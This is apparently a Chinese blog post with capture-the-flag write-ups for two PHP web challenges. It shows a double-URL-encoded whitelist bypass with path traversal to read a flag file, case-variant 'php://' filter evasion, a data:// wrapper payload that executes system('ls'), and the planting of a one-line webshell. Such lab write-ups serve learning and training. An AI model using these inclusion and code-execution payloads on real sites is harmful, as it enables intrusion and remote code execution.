Blog of CodeJELLOW’S ENGINEERING NOTES
← 返回文章

CTFweb(五)

CTF题解 warmup Web_php_include

本文目录 ⌄

    CTFweb题解两道,题目来自攻防世界

    warmup (代码审计)

    临时网址:

    TEXT
    http://111.198.29.45:42917/

    打开发现滑稽

    藏在页面里了,打开source.php

    TEXT
    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    
                if (in_array($page, $whitelist)) {
                    return true;
                }
    
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  

    两个白名单,source.php和hint.php,打开hint.php

    flag不在这,回到hint.php审计代码

    TEXT
    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)  //传入page参数
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {   //page为空或者不是字符串
                    echo "you can't see it";
                    return false;         
                }
    
                if (in_array($page, $whitelist)) {  // page在白名单里
                    return true;                        
                }                                
    
                $_page = mb_substr(
                    $page,                          //截取到第一个问号,如果没有问号则不截取
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    
                $_page = urldecode($page); //解码
                $_page = mb_substr(         //解码后截取
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {  //这种方式可以获得flag
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  

    可以使用最后一个if获得flag,通过把?二次编码,在服务器端提取参数时解码一次,在checkfile中解码一次。之后再在上级目录中找ffffllllaaaagggg。

    TEXT
    http://111.198.29.45:51775/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

    得到flag

    TEXT
    flag{25e7bce6005c4e0c983fb97297ac6e5a}

    Web_php_include

    这个题有两种解法,先来一种暴力的,直接扫

    一句话木马

    数据库在这,空密码直接进

    然后一句话木马

    答案在这里

    伪协议
    TEXT
    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

    strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

    这个直接把php://替换了,大小写绕过即可

    使用brupsuit连接

    有flag文件

    cat打开文件

    也可以使用page=data:text/plain,<?php system(“ls”); ?>

    同样可以拿到flag

    通过 RSS 订阅更新 →